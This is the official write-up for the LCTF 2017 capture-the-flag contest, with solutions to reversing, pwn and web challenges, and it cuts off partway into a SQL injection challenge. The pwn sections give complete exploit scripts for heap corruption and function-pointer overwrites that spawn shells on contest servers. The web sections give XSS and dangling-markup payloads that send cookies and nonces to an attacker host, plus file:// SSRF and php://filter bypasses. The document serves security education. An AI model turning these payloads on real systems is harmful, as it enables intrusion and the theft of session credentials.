LCTF 2017 官方Writeup

Posted by Pwnhub on 2017-11-22

LCTF官方Write Up

Reversing

BeRealDriver

本题有一个指向Wikipedia LDW页面的Hint,是因为题目设计之初是想模仿现代汽车上常用的LDW系统。题目文件中含有两张图片,分别对应着LDW输入的地图,和驾驶员采取的驾驶路径。程序中的LDW首先判断驾驶路径是否在地图许可的范围内,如果不在,就报警;接下来另一个模块会检查驾驶路径是否经过了预设的几个危险点,如果没有经过,认为攻击失败。满足以上所有条件,即可得到flag。参赛者需要在分析以上程序逻辑的基础上提供两个文件,这两个文件(同样是图片)和上文中提到的两张内置图片分别异或后,作为被攻击者影响之后的地图和驾驶员操作,提供给上述的判断逻辑。

由此,一个简单的攻击思路是,提取出程序内置的两张图片之后,用Photoshop的自由变形功能,扭曲两张图片,使其经过指定位置,之后将新图片和原图片分别异或,并提交结果,即可得到正确解答。

这个题主要的坑点应该是OpenCV。很多人反馈跑不起来,这个和库版本有关系,我用的是最新版的库。另外还有人被Windows 10的图片查看器坑了,唉,临门一脚……所以劝大家多用Linux,你看Linux下连个像样的好看的图片查看器都没有(除了chromium),自然不会发生这种问题。此外另一个坑点是由于我写的算法鲁棒性太差,如果输入数据的连续性不够就会segfault……

题目设计之初本来是想按照真正的LDW工作,由三个线程构成,一个负责输出摄像头和操作数据,一个负责做LDW,另一个负责做危险点检测,且把核心逻辑放到CUDA中。但由于自己码力不太够,只能采取目前这种伪LDW设计,希望大家还是玩的开心。

题目源代码已经在https://github.com/SilverBut/LCTF2017_BeRealDriver 公开,上述的两张图片可在 LCTF2017_BeRealDriver/code/examples 中找到,题目设计思路文档可在 LCTF2017_BeRealDriver/doc 中找到。

YublKey

本题是临时起意想到的。GH60是一款开源键盘,大多数情况下其使用的固件是tmk_keyboard。本题设计是,在烧入此固件后按下特定按钮,即通过print函数输出flag,这个输出操作是通过使用固件自带的钩子点hook_matrix_change实现的,所以如果能找到源码并阅读一下,或者是自行编译后做bindiff,就可以发现这个hook点被改动过,直接分析相关代码即可。

这个题首要难题就是怎么知道这是个GH60的固件,实际通过字符串就能看到GH60(从一个老司机那里学到的这一招,strings -e l ./YublKey-stripped-elf),搜一下就有一些思路了,当然还是有点小脑洞。另外一点就是IDA对部分MCU的支持不太好,不过对GH60使用的MCU来说应该还是没什么大问题的。放出elf文件之后,加载和函数识别实际就没有什么问题了,题目难度下降了一档,但是仍然没有人做,可能是大家已经对我失去信心了吧233……

同上题一样,这个题的设计和实现也有一些差距……原意是在固件中植入一个键盘记录器,输入flag字符串后将内存中的记录信息输出,选手需要逆向程序逻辑来得到flag。但由于编码时间不够,就选择了现在这种比较挫的设计思路。

题目源代码同样也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_YublKey 公开。我是clone后直接修改的,所以可以看一下最近的几次提交记录。

NuclearBomb

首先向各位道歉……本题出现了一些问题。赛后Atum指出,在CUDA函数内的数据同步存在问题,移位操作是在S盒置换操作之后发生的,因此会导致数据不一致,影响解题结果。虽然后续分析后发现这一点可能(至少在出题人机器上)并不会影响最终结果,但还是因此干扰了各位的解题思路。在此就我连续第三年翻车(?)表示诚挚的歉意,希望各位大佬不要穿过网线来线下真人快打。

然后先说一下算法吧,输入的flag是分组处理的,每 4 byte 用来初始化一个随机数发生器,之后取出一组随机数用来膨胀成一个数组。之后对数组中的元素按字节进行替换,然后按 uint32 进行循环移位(上文中的bug就出现在这里)。结果会和预设的一个数组比较,如果通过,则输入值即为flag。

这一题的坑点有:

  1. (再次感谢Atum指出)Nvidia的官方文档对移位指令的描述有问题;
  2. 不是所有人都有可以跑CUDA的GPU,一些笔记本的CPU实际是不能跑的;
  3. mtrand需要查表爆破,很容易让选手认为思路跑偏。

除了第三点在设计时候是预料到的以外,前两点都是没想到的。第三点当时测试过,跑一轮表最多需要10h(四代移动版i7-4712MQ,16G,单线程,SSD,linux,g++),因此时间上不会出太多问题。但为了避免思路受阻,还是尽量提前放了这道题。

题目源码也在github上开源了,地址为https://github.com/SilverBut/LCTF2017_NuclearBomb

滑稽博士

纯粹的游戏。

当初的设计思路是进行游戏作弊的时间消耗要比完整逆向出flag的长,也就是诱导各位写游戏外挂。

但是出题人自己的代码力不是很足,最后程序结构写崩了…

无奈只好改动成一般的一个程序。

使用C++编写,里面用了不少的继承和虚函数,但是都和flag没有什么关系(笑)。

思路有很多,可以直接搞清楚程序流,定位和flag相关的部分。

或者也可以找到游戏里面生成敌人的代码,把Hp改成1,然后通关游戏获得Flag。

代码就不上了,烂到难以形容。

USE YOUR IDA?

use your IDA

额…QAQ …这题出了个小差错…给各位大师傅 带来的不便还请谅解, 借鉴了下看雪的溢出思路, 其他的思路是我自己设计用汇编写的, 某几位大师傅还请口下留德。 在处理 flag的时候的的循环少写了次, 当时可能出题写代码写累了, 少循环了一次。 造成了某四位多解的情况。

出题思路是: 前面一个输入函数, 将 flag 读入系统栈, 然后进入一个混淆的伪 flag 验证函数, 验证函数里面, 提示得很明显,(可以返回到我写的另外一个混淆的伪 flag 函数), 只要看懂了, 程序怎么访问 flag 的话, 在 od 中搜索访问 flag 的指令相关指令就行。 然后, 就会发现其中的奥秘。

剩下的是处理那堆混淆.

和一些大师傅交流过后, 有下面几种思路:

  1. python 正则处理 (出题的时候, 也是这么想的)
    将混淆代码去掉, 然后匹配成相应的语句, 逆向过来就行

  2. OD 脚本处理
    大师傅给了个 OD 脚本, 还没搞

  3. 爆破验证(操作最骚, 最简单)
    查看最终 flag 比较的内存验证, 然后试输入, 比对内存, 获得 flag。

  4. angr 跑
    (是时候学习一波了!)

  5. 汇编能力够强, 不熟悉 Python,可用 notepad++的正则(当然用 py 更好), 匹配然
    后逆向写 keygen。

相关脚本:

发现还是大师傅们写得好, 于是放上了南航师傅的脚本。

decrypt.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
# -*- coding:utf-8 -*-
import re
import ctypes
flag_pattern = "\[ebx\+([\s\S]+)\]"
operation_pattern = "eax,\ ([\s\S]+)"
file = open("IDA.txt",'r',encoding='utf-8')
operation = []
flag_op = []
for i in range(20):
flag_op.append([])
for eachline in file:
operation.append(eachline)
flag = [0xf2,0x6e,0xd1,0xb1,0x7e,0x8b,0x3e,0x8e,0xb1,0x67,0x6e,0xe2,0xf7,0xa8,0x3d,0xce,0x2f,0xb0,0xec,0x0]
length = len(operation)
index = 0
while index < length:
# this mean that we have a operation about our flag
if "movzx" in operation[index]:
# print(operation[index])
msg = re.findall(flag_pattern, operation[index])[0]
if 'h' in msg:
msg = msg[:-1]
flag_index = int(msg,16)-1
index += 1
# first ,we checkout push is in it
if "push" in operation[index]:
while not ("pop" in operation[index] and "push" not in operation[index+1]):
index += 1
# now index is in pop
index += 1
if "add" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("+" + str(int(num,16)))
# print(index)
index += 1
elif "sub" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("-" + str(int(num,16)))
index += 1
elif "xor" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("^" + str(int(num,16)))
index += 1
else:
print("I forget %s!"%operation[index])
# then ,we should check out the next is mov or not, because there are push to obscure
if "mov" in operation[index]:
# this mean our operation is finish
# print("Ohhh no , we skip {}".format(operation[index]))
continue
else:
# this is obsecure with operation
if "push" in operation[index]:
while not ("pop" in operation[index] and "push" not in operation[index+1]):
index += 1
# now index is in pop
index += 1
# print("we finish pop at {}".format(operation[index]))
# next ,we check if we need others operations
if "add" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("+" + str(int(num,16)))
elif "sub" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("-" + str(int(num,16)))
elif "xor" in operation[index]:
num = re.findall(operation_pattern, operation[index])[0]
if 'h' in num:
num = num.replace('h','').strip()
flag_op[flag_index].append("^" + str(int(num,16)))
# xor
index += 1
# and next must be "mov"
elif "mov" in operation[index]:
continue
else:
print("I must be wrong at {}".format(operation[index]))
index += 1
if "mov" not in operation[index]:
if 'push' in operation[index]:
while not ("pop" in operation[index] and "push" not in operation[index+1]):
index += 1
# now index is in pop
index += 1
# this must be mov
if "mov" not in operation[index]:
print("My gold {}".format(operation[index]))
else:
print("this has some question {}".format(operation[index]))
else:
index += 1
print(flag_op[0])
# print(flag_op[1][1] == flag_op[0][1])
for i in range(0,256):
num = i
for each_op in flag_op[0]:
if each_op[0] == '-':
num = num - int(each_op[1:])
elif each_op[0] == '+':
num = num + int(each_op[1:])
elif each_op[0] == '^':
# flag[i] ^= int(each_op[1:], 16)
num = ctypes.c_ubyte(num).value ^ ctypes.c_ubyte(int(each_op[1:])).value
# print(num,end= ',')
if ctypes.c_ubyte(num).value == 0xf2:
print(i)
break
for i in range(len(flag_op)):
flag_op[i].reverse()
for each_op in flag_op[i]:
if each_op[0] == '-':
flag[i] = flag[i] + int(each_op[1:])
elif each_op[0] == '+':
flag[i] = flag[i] - int(each_op[1:])
elif each_op[0] == '^':
# flag[i] ^= int(each_op[1:], 16)
flag[i] = ctypes.c_ubyte(flag[i]).value ^ ctypes.c_ubyte(int(each_op[1:])).value
print(flag)
for i in flag:
print(chr(ctypes.c_ubyte(i).value),end = '')

PWN

2ez4u

思路

  1. 分配一个large chunk大小的块
  2. 自己在堆上事先伪造好一个largechunk的头
  3. 利用uaf来修改large chunk的bknextsize,让bknextsize指向这里(需要构造的合适一点,绕过glibc的检查),效果就是能malloc出这块地方。
  4. 之后就是很常规的利用这个malloc出来的chunk来泄露libc,修改fastbin的fd
  5. 修改main_arena上的top为free_hook上面一些的地方
  6. 通过几次malloc,修改free_hook为system的地址

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import c_uint32
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'
io = remote("111.231.13.27", 20001)
#io = process("./chall", env = {"LD_PRELOAD" : "./libc-2.23.so"})
#io = process("2EZ4U_e994c467c9d8237e155f55f8c8315027")
EXEC = 0x0000555555554000
def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)
pass
def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
pass
def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)
pass
def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
pass
add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )
dele(0x9)
dele(0xb)
dele(0x0)
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
add(0x400, '0'*0x400)
# leak
show(0xb)
io.recvuntil('num: ')
print hex(c_uint32(int(io.recvline()[:-1])).value)
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr)
edit(0x3, chunk2) # chunk2
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #
show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60, '4'*0x60 ) #
recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
dele(0x5)
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50)) #
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
#add(0x300, '\x00'*0x1d0+p64(LIBC+0x45390)) #
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) #
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x1247))
dele(15)
io.interactive()

toy

漏洞

程序修改自https://github.com/skx/simple.vm

在peek和poke处修改了一下,把检查地址是否越界的部分给改了

利用

利用方法可能有很多,下面是我写exp的步骤

  1. 通过store-string来malloc出合适的chunk,然后将其free
  2. 将被free的chunk里的libc和heap的地址通过peek来读取到寄存器里
  3. 修改被free的fastbin的fd,使其指向第10个寄存器(刚好在exit指令的函数句柄上面)_
  4. 通过得到的libc地址来计算出system的地址,用concat指令来写入到exit指令的函数句柄上

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from pwn import *
from struct import pack
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'
EXEC = 0x0000555555554000
#io = process("./simple-vm")
io = remote("111.231.19.153", 20003)
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000175B))
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x000000000000157D)) # call
#gdb.attach(io, execute='b *0x%x' % (EXEC+0x0000000000001900)) # debug
store_string = lambda reg, leng, s: pack("<bbH", 0x30, reg, leng)+s
store_int = lambda reg, val: pack("<bbH", 0x01, reg, val)
add = lambda dst, src1, src2: pack("<bbbb", 0x21, dst, src1, src2)
sub = lambda dst, src1, src2: pack("<bbbb", 0x22, dst, src1, src2)
mul = lambda dst, src1, src2: pack("<bbbb", 0x23, dst, src1, src2)
div = lambda dst, src1, src2: pack("<bbbb", 0x24, dst, src1, src2)
peek = lambda reg, addr: pack("<bbb", 0x60, reg, addr)
poke = lambda reg, addr: pack("<bbb", 0x61, reg, addr)
inc = lambda reg: pack("<bb", 0x25, reg)
dec = lambda reg: pack("<bb", 0x26, reg)
concat = lambda dst, src1, src2: pack("<bbbb", 0x32, dst, src1, src2)
debug = lambda : '\x0a'
exit = lambda : '\x00'
'''
#0 addr
#1 libc_hi
#2 libc_lo
#5 reserved
#7 heap_lo
#9 0x81
将free chunk的fd改为reg9的地方,修改exit的函数指针为system
'''
# stage0
payload = ''
code = [
store_string(0x0, 0x20, "A"*0x20),
store_string(0x1, 0x20, "A"*0x20),
store_string(0x4, 0xa0, "A"*0xa0),
store_string(0x5, 0xa0, "A"*0xa0),
store_int(0x4, 0xffff), # (free 1)
# stage1 mov (int)heap to #7
store_int(0x1, 0xffff), # (free 1)
store_int(0x0, 0x14), # (free 0)
add(0x0, 0x0, 0x1),
store_int(0x8, 0x100), # (free 1)
[
peek(0x6, 0x0),
mul(0x7, 0x7, 0x8),
add(0x7, 0x7, 0x6),
dec(0x0)
]*4,
# stage2 mov (int)heap to #9
store_int(0x1, 0xffff),
store_int(0x0, 0x78),
add(0x0, 0x0, 0x1),
store_int(0x8, 0x100),
[
peek(0x6, 0x0),
mul(0x1, 0x1, 0x8),
add(0x1, 0x1, 0x6),
dec(0x0)
]*4,
[
peek(0x6, 0x0),
mul(0x2, 0x2, 0x8),
add(0x2, 0x2, 0x6),
dec(0x0)
]*4,
# stage 3
store_int(0x3, 0xffff),
store_int(0x0, 0x11),
add(0x0, 0x0, 0x3),
store_int(0x9, 0xffff),
store_int(0x8, 0x1891),
add(0x8, 0x8, 0x9),
sub(0x7, 0x7, 0x8),
store_int(0x8, 0x100),
[
poke(0x7, 0x0),
div(0x7, 0x7, 0x8),
inc(0x0),
]*4,
# stage4 overwrite fp
store_int(0x8, 0x0),
[
store_int(0x9, 0xffff),
add(0x8, 0x8, 0x9),
]*0x37,
store_int(0x9, 0xf81f),
add(0x8, 0x8, 0x9),
sub(0x2, 0x2, 0x8), # calculate system address
store_int(0x3, 0xffff),
store_int(0x0, 0x121),
add(0x0, 0x0, 0x3),
store_int(0x8, 0x100),
[
poke(0x2, 0x0),
div(0x2, 0x2, 0x8),
inc(0x0)
]*4,
[
poke(0x1, 0x0),
div(0x1, 0x1, 0x8),
inc(0x0)
]*4,
store_int(0x9, 0x31),
store_string(0x7, 0x18, "A"*0x18),
debug(),
concat(0x8, 0x7, 0x5),
pack("<bb", 0x01, 0x0)+'sh', # store-int #0, 0x51 (free 0)
#stage5 trigger
exit()
]
payload = flat(arr)
io.recvuntil("size")
io.sendline(str(len(payload)))
io.send(payload)
io.interactive()

完美冻结

漏洞很简单。

程序用mmap生成了两块0x1000内存快,实现了一套奇怪的存储装置:一个用来做buff,一个用来存数据。

做buff的堆块在重新设置大小(bmap_set)时,使用的是unsigned short,但是做加法时(或者从unsigned int转换到unsigned short时)会产生整数溢出。

利用//符号读入大量的字符,再配合\0符号就可以将buff溢出到后面的堆块。

第二个装置里面用的是位字段指示某个地址是否空闲。将该字段覆盖掉,即可造成两个数据结构被分配在一个地址上。

由于出题人的程序结构又写崩了,于是无奈之下直接给了system()函数的地址…也就是说完全不需要绕过任何保护。

利用覆盖将函数指针覆盖为system的即可getshell。

看似复杂其实随便堆点时间就可以拿到flag…就像9的符卡一样嘛(笑)。

代码会随其他源码一同给出。

出题人的验证exp(不知道为什么很莫名其妙但是的确getshell了):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python2
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#p = process('./easy')
#p = gdb.debug('./easy')
puts_plt = 0x00400810
system = 0x400870
payload = ""
payload += "VALUE 1 65\n"
#payload += "VALUE 2 66\n"
pay = "VALUE 2 "
pay += str(system)
pay += '\n'
payload += pay
payload += "VALUE 3 67\n"
payload += "MOV 1 2\n"
pay = "// "
pay += "A" * (32 - len(pay) - 1)
pay += '\n'
payload += pay
pay = "// "
pay += "B" * (32 - len(pay))
pay += "\x07\x00"
pay += "B" * (0xFFFF - len(pay) - 1)
pay += '\n'
payload += pay
pay = "VALUE 4 29400045130965551"
pay += '\n'
payload += pay
payload += "PRINT 4\n"
payload += "END\n"
p.send(payload)
p.interactive()

shopping?

由于出题师傅太过繁忙, 所以大家找找网上解出题目的师傅的wp吧~

WEB

wanna hack him

这题有两种解法。

解法一

利用dangling markup attack。传入一个未闭合的标签,来把后面内容通过请求直接发出去,因为bot的版本是Chrome60所以可以直接用一个比较常见的payload

1
<img src='http://yourhost/?key=

这样因为<img>标签里的src未闭合所以会把后面的html代码也当做src属性的一部分直到遇到下一个单引号,所以我们可以拿到管理员的nonce

拿到nonce后就是常规XSS操作了。

解法二

因为这题的nonce是根据session生成的,所以我们可以用<meta>标签来Set-Cookie,把bot的PHPSESSID设置成我们的,这样bot的nonce就和我们的一样。可以通过preview.php拿到我们的nonce

payload:

1
2
<meta http-equiv="Set-Cookie" content="PHPSESSID=yoursession; path=/">
<script nonce="yournonce">(new Image()).src='http://yourhost/?cookie='+escape(document.cookie)</script>

关注我blog接下来的详细分析: http://math1as.com/

签到题

题目不难, 一共就只有几个点

  • 用file协议读取本地文件
  • 绕过逻辑中对host的检查, curl是支持file://host/path, file://path这两种形式, 但是即使有host, curl仍然会访问到本地的文件
  • 截断url后面拼接的/, GET请求, 用?#都可以

payload其实很简单: file://www.baidu.com/etc/flag?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
if(!$_GET['site']){
echo <<<EOF
<html>
<body>
look source code:
<form action='' method='GET'>
<input type='submit' name='submit' />
<input type='text' name='site' style="width:1000px" value="https://www.baidu.com"/>
</form>
</body>
</html>
EOF;
die();
}
$url = $_GET['site'];
$url_schema = parse_url($url);
$host = $url_schema['host'];
$request_url = $url."/";
if ($host !== 'www.baidu.com'){
die("wrong site");
}
$ci = curl_init();
curl_setopt($ci, CURLOPT_URL, $request_url);
curl_setopt($ci, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($ci);
curl_close($ci);
if($res){
echo "<h1>Source Code:</h1>";
echo $request_url;
echo "<hr />";
echo htmlentities($res);
}else{
echo "get source failed";
}
?>

萌萌哒报名系统

这题提示给了IDE,那么我们可以想到PHP有款强大的IDE叫做PHPSTORM,他新建项目的时候会生成一个.idea文件夹,访问发现有一个workspace.xml文件,访问里面发现了一个xdcms2333.zip
下载可得到整站源码

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
$code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : '';
if (strlen($username) > 16 || strlen($username) > 16) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
$sth = $pdo->prepare('INSERT INTO users (username, password) VALUES (:username, :password)');
$sth->execute([':username' => $username, ':password' => $password]);
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);
if (count($matches) === 3 && $admin === $matches[0]) {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');
$sth->execute([':username' => $username, ':identity' => $matches[1]]);
} else {
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, "GUEST")');
$sth->execute([':username' => $username]);
}
echo '<script>alert("register success");location.href="./index.html"</script>';

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
session_start();
include('config.php');
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username');
$password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password');
if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$_SESSION['username'] = $username;
unset($_SESSION['is_logined']);
unset($_SESSION['is_guest']);
#echo $username;
header("Location: member.php");
?>

member.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
session_start();
include('config.php');
if (isset($_SESSION['username']) === false) {
die('please login first');
}
try{
$pdo = new PDO('mysql:host=localhost;dbname=xdcms', $user, $pass);
}catch (Exception $e){
die('mysql connected error');
}
$sth = $pdo->prepare('SELECT identity FROM identities WHERE username = :username');
$sth->execute([':username' => $_SESSION['username']]);
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}
$_SESSION['is_logined'] = true;
if (isset($_SESSION['is_logined']) === false || isset($_SESSION['is_guest']) === true) {
}else{
if(isset($_GET['file'])===false)
echo "None";
elseif(is_file($_GET['file']))
echo "you cannot give me a file";
else
readfile($_GET['file']);
}
?>

这里我们首先看register.php,这里我弄一个坑,就是

1
$admin = $admin = "xdsec"."###".str_shuffle('you_are_the_member_of_xdsec_here_is_your_flag');

然后下面

1
preg_match('/^(xdsec)((?:###|\w)+)$/i', $code, $matches);

如果匹配了$matches[0]=$admin就可以把xdsec注册到identities表中,可样我们就可以绕过第一层,member.php中的

1
2
3
if ($sth->fetch()[0] === 'GUEST') {
$_SESSION['is_guest'] = true;
}

但是str_shuffle是不可预测的,不知道有没有人在这里被我坑到XD.但是真正的思路不在这里。
下面说说我在后台审计中看到了很多人用的非预期解–条件竞争。
因为身份验证是用if ($sth->fetch()[0] === 'GUEST')那么如果在identities表中没有username这一行数据,那么取出来$sth->fetch()[0]结果就是null,还是可以绕过第一层,所以可以用python多线程注册用户,在

1
$sth = $pdo->prepare('INSERT INTO identities (username, identity) VALUES (:username, :identity)');

语句执行之前登陆上去就可以绕过第一层。
其实正解是通过pre_match函数的资源消耗来绕过,因为pre_match在匹配的时候会消耗较大的资源,并且默认存在贪婪匹配,所以通过喂一个超长的字符串去给pre_match吃,导致pre_match消耗大量资源从而导致php超时,后面的php语句就不会执行。
payload:

1
code=xdsec###AAAAAAAAAAAAAAAAAAA(超多个A)

然后再登陆既可以绕过第一层。
第二层则比较简单,利用一个phpbug。给出个实例

1
2
3
4
5
6
7
8
<?php
$a = '123.php';
$b = 'php://filter/resource=123.php';
var_dump(is_file($a));
var_dump(is_file($b));
?>
boolean true
boolean false

利用伪协议就可以绕过php的is_file,然后读取本目录下的config.php即可得到flag

1
LCTF{pr3_maTch_1s_A_amaz1ng_Function}

他们有什么秘密呢?

题目由两部分组成,第一部分是一个sqli,第二部分是一个文件上传+命令执行

第一部分

第一个入口

http://182.254.246.93/entrance.php

id=3时,product name = nextentrance,再结合源代码里面的提示,可以得出,我们的目的是得到整个表的信息~

这里基本没有过滤,但是不能使用information_schema表,也就无从获取表名和字段信息了,当然,不会是爆破。

此外,可以发现开启了报错,所以我们可以用一些小技巧,来查出表名,字段名。

